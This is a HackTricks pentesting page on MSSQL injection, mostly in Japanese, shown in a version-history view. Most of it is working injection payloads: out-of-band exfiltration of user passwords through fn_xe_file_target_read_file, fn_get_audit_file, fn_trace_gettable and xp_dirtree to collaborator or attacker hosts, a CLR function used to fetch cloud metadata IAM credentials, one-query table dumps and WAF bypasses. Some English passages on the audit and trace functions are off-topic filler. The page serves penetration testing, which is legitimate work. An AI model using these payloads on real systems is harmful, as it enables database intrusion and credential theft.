hacktricks/pentesting-web/sql-injection/mssql-injection.md

256 lines
18 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# MSSQLインジェクション
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
</details>
2023-07-07 23:42:27 +00:00
## Active Directoryの列挙
2020-09-20 21:14:26 +00:00
2023-07-07 23:42:27 +00:00
MSSQLサーバー内でのSQLインジェクションを使用して、次のMSSQL関数を使用してドメインユーザーを列挙することができる場合があります。
2020-09-20 21:14:26 +00:00
2023-07-07 23:42:27 +00:00
* **`SELECT DEFAULT_DOMAIN()`**: 現在のドメイン名を取得します。
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: ドメインの名前を知っている場合この例では_DOMAIN、この関数は16進数形式でユーザーAdministratorの**SIDを返します**。これは`0x01050000000[...]0000f401`のように見えます。最後の4バイトは、**big endian**形式での**ユーザーadministratorの共通IDである500**です。\
この関数を使用すると、最後の4バイト以外の**ドメインのIDを知る**ことができます。
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : この関数は、指定されたIDの**ユーザー名を返します**存在する場合。この場合、big endianで**0000e803** == **1000**通常、これは最初の通常のユーザーIDのIDです。その後、1000から2000までのユーザーIDをブルートフォースし、おそらくドメインのすべてのユーザーのユーザー名を取得できると想像できます。次のような関数を使用することができます
2020-09-20 21:14:26 +00:00
```python
def get_sid(n):
2023-07-07 23:42:27 +00:00
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
2020-09-20 21:14:26 +00:00
```
2023-07-07 23:42:27 +00:00
## **代替エラーベースのベクトル**
2020-09-20 21:14:26 +00:00
2023-07-07 23:42:27 +00:00
エラーベースのSQLインジェクションは通常、`+AND+1=@@version--`などの構造を持ち、OR演算子に基づくバリエーションもあります。このような式を含むクエリは通常、WAFによってブロックされます。バイパスとして、特定の関数呼び出しの結果に%2b文字を使用して文字列を連結し、求めているデータにデータ型変換エラーを引き起こす関数をトリガーします。
2020-12-04 10:15:48 +00:00
2023-07-07 23:42:27 +00:00
このような関数の例:
2020-12-04 10:15:48 +00:00
* `SUSER_NAME()`
* `USER_NAME()`
* `PERMISSIONS()`
* `DB_NAME()`
* `FILE_NAME()`
* `TYPE_NAME()`
* `COL_NAME()`
2023-07-07 23:42:27 +00:00
関数`USER_NAME()`の使用例:
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
2022-10-09 21:13:17 +00:00
## SSRF
2022-10-10 00:14:53 +00:00
### `fn_xe_file_target_read_file`
2023-07-07 23:42:27 +00:00
SSRFServer-Side Request Forgeryは、攻撃者がサーバー内の他のリソースにアクセスするためにサーバーを利用する攻撃手法です。
この攻撃手法は、`fn_xe_file_target_read_file`という関数を悪用して実行されます。この関数は、SQL Serverの拡張イベントExtended Eventsのファイルターゲットからファイルを読み取るために使用されます。
攻撃者は、この関数を使用して、サーバー内のファイルシステムにアクセスし、機密情報を取得することができます。この攻撃手法を防ぐためには、適切なアクセス制御と入力検証が必要です。
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
2020-12-04 10:15:48 +00:00
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/3.png)
2023-07-07 23:42:27 +00:00
**権限:** サーバー上で**`VIEW SERVER STATE`**権限が必要です。
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
2022-10-10 00:14:53 +00:00
### `fn_get_audit_file`
2020-12-04 10:15:48 +00:00
2023-07-07 23:42:27 +00:00
`fn_get_audit_file` is a built-in function in Microsoft SQL Server that allows you to retrieve audit information from the server's audit log files. This function is commonly used for auditing and compliance purposes, as it provides a way to access detailed information about database activities.
To use `fn_get_audit_file`, you need to specify the path to the audit log file and provide the necessary parameters to filter the results. The function returns a table with columns representing different aspects of the audit information, such as the event type, timestamp, and target object.
It's important to note that `fn_get_audit_file` requires the necessary permissions to access the audit log files. Additionally, you should ensure that the audit log files are stored in a secure location to prevent unauthorized access to sensitive information.
Overall, `fn_get_audit_file` is a useful function for retrieving and analyzing audit information in Microsoft SQL Server. By leveraging this function, you can gain insights into database activities and enhance the security and compliance of your SQL Server environment.
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/2.png)
2023-07-07 23:42:27 +00:00
**権限:** **`CONTROL SERVER`** 権限が必要です。
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
2023-07-07 23:42:27 +00:00
### `fn_trace_gettable`
`fn_trace_gettable` is a built-in function in Microsoft SQL Server that allows you to read the contents of a trace file and return the data in a tabular format. This function is commonly used for troubleshooting and performance analysis purposes.
To use `fn_trace_gettable`, you need to provide the path of the trace file and specify the columns you want to retrieve. The function will then parse the trace file and return the requested data.
Here is the syntax for using `fn_trace_gettable`:
```sql
SELECT *
FROM fn_trace_gettable('C:\Path\To\TraceFile.trc', default)
```
2022-10-10 21:08:59 +00:00
2023-07-07 23:42:27 +00:00
In the above example, `C:\Path\To\TraceFile.trc` is the path to the trace file you want to read. The `default` parameter specifies the default file format for the trace file.
2020-12-04 10:15:48 +00:00
2023-07-07 23:42:27 +00:00
Keep in mind that `fn_trace_gettable` requires the necessary permissions to access the trace file. Additionally, it is important to ensure that the trace file is not accessible to unauthorized users, as it may contain sensitive information.
```
2020-12-04 10:15:48 +00:00
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/1.png)
2023-07-07 23:42:27 +00:00
**権限:** **`CONTROL SERVER`** 権限が必要です。
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
2022-10-10 00:14:53 +00:00
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
2023-07-07 23:42:27 +00:00
MSSQLを使用してネットワークコールを行うための最も一般的な方法は、格納プロシージャ`xp_dirtree`を使用することです。これはMicrosoftによって公式には文書化されていないため、[インターネット上の他の人々によって文書化されています](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/)。この方法は、[インターネット上の[Out of Band Data exfiltration](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)の投稿で複数の例で使用されています。
2023-07-07 23:42:27 +00:00
基本的には、
2022-10-10 00:14:53 +00:00
```sql
DECLARE @user varchar(100);
2023-07-07 23:42:27 +00:00
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
```
2023-07-07 23:42:27 +00:00
MySQLの`LOAD_FILE`と同様に、`xp_dirtree`を使用してネットワークリクエストを**TCPポート445のみ**に行うことができます。ポート番号を制御することはできませんが、ネットワーク共有から情報を読み取ることができます。
2023-07-07 23:42:27 +00:00
**注意:**これは、デフォルトの設定で実行されている`Windows Server 2016 Datacenter`上の`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`では機能しません。
2023-07-07 23:42:27 +00:00
**他にも**、[**`master..xp_fileexist`のような**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)ストアドプロシージャや**`xp_subdirs`**など、同様の結果を得るために使用できるものがあります。
2022-10-10 00:14:53 +00:00
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
2023-07-07 23:42:27 +00:00
もちろん、**`xp_cmdshell`**を使用して**SSRFをトリガーする何かを実行**することもできます。詳細については、ページの**関連セクション**を読んでください:
2022-10-10 00:14:53 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
### MSSQLユーザー定義関数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
2023-07-07 23:42:27 +00:00
**CLR UDF**Common Language Runtime User Defined Function - **.NET**言語で書かれ、**DLL**にコンパイルされたコードを簡単に作成し、MSSQL内でカスタム関数としてロードすることができます。ただし、これには`dbo`アクセスが必要なので、Webアプリケーションのデータベースへの接続が**`sa`または管理者の役割**として行われていない限り、機能しない場合があります。
2023-07-07 23:42:27 +00:00
[このGithubリポジトリには、Visual Studioプロジェクトとインストール手順があります](https://github.com/infiniteloopltd/SQLHttp)。これにより、バイナリをCLRアセンブリとしてMSSQLにロードし、MSSQL内からHTTP GETリクエストを呼び出すことができます。
2023-07-07 23:42:27 +00:00
[`http.cs`のコードでは、`WebClient`クラスを使用してGETリクエストを行い、コンテンツを取得します](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)。
2022-10-10 00:14:53 +00:00
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
2023-07-07 23:42:27 +00:00
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
```
2023-07-07 23:42:27 +00:00
インストール手順では、`CREATE ASSEMBLY` クエリの前に以下を実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加します`select * from sys.trusted_assemblies;` を使用してリストを表示できます)。
2022-10-10 21:08:59 +00:00
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
2023-07-07 23:42:27 +00:00
アセンブリが追加され、関数が作成されたら、次のコマンドを実行してHTTPリクエストを行うことができます。
2022-10-10 00:14:53 +00:00
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/15.png)
2023-07-07 23:42:27 +00:00
## **クイックな攻撃: 1つのクエリでテーブル全体を取得する**
2020-12-04 10:15:48 +00:00
2023-07-07 23:42:27 +00:00
1つのクエリでテーブルの全内容を取得するためには、FOR XMLまたはFOR JSON句を使用する方法があります。FOR XML句は「raw」といった指定されたモードが必要ですが、簡潔さの観点からFOR JSONが優れています。
2020-12-04 10:15:48 +00:00
2023-07-07 23:42:27 +00:00
現在のデータベースからスキーマ、テーブル、列を取得するクエリ:
```
2023-07-07 23:42:27 +00:00
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
2020-12-04 10:15:48 +00:00
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
2023-07-07 23:42:27 +00:00
エラーベースのベクターは、JSONとしてフォーマットすることができないため、エイリアスまたは名前が必要です。
```
2023-07-07 23:42:27 +00:00
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
2020-12-04 10:15:48 +00:00
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png)
2023-07-07 23:42:27 +00:00
## **現在のクエリの取得**
2020-12-04 10:15:48 +00:00
2023-07-07 23:42:27 +00:00
実行中のSQLクエリは、`sys.dm_exec_requests`と`sys.dm_exec_sql_text`へのアクセスから取得できます。
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/9.png)
2023-07-07 23:42:27 +00:00
**権限:** ユーザーがサーバー上でVIEW SERVER STATE権限を持っている場合、ユーザーはSQL Serverのインスタンスで実行中のすべてのセッションを表示します。それ以外の場合、ユーザーは現在のセッションのみを表示します。
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
2023-07-07 23:42:27 +00:00
## **WAFバイパスのための小技**
2022-10-10 21:08:59 +00:00
2023-07-07 23:42:27 +00:00
非標準の空白文字: %C2%85または%C2%A0:
```
2023-07-07 23:42:27 +00:00
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
2020-12-04 10:15:48 +00:00
```
2023-07-07 23:42:27 +00:00
科学的な0eおよび16進0x表記によるUNIONの難読化
2020-12-04 10:15:48 +00:00
2023-07-07 23:42:27 +00:00
```sql
SELECT column1 FROM table1 WHERE column2 = 0e0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
SELECT column1 FROM table1 WHERE column2 = 0x0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
```
2020-12-04 10:15:48 +00:00
2023-07-07 23:42:27 +00:00
```sql
SELECT column1 FROM table1 WHERE column2 = 0e0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
SELECT column1 FROM table1 WHERE column2 = 0x0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
```
2020-12-04 10:15:48 +00:00
```
2023-07-07 23:42:27 +00:00
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
2020-12-04 10:15:48 +00:00
2023-07-07 23:42:27 +00:00
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
2023-07-07 23:42:27 +00:00
FROMと列名の間には、スペースの代わりにピリオドを使用します。
2020-12-04 10:15:48 +00:00
```
2023-07-07 23:42:27 +00:00
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
2023-07-07 23:42:27 +00:00
\Nは、SELECTと使い捨ての列の間の区切り文字です。
2020-12-04 10:15:48 +00:00
```
2023-07-07 23:42:27 +00:00
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
## 参考文献
2022-10-10 00:14:53 +00:00
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
</details>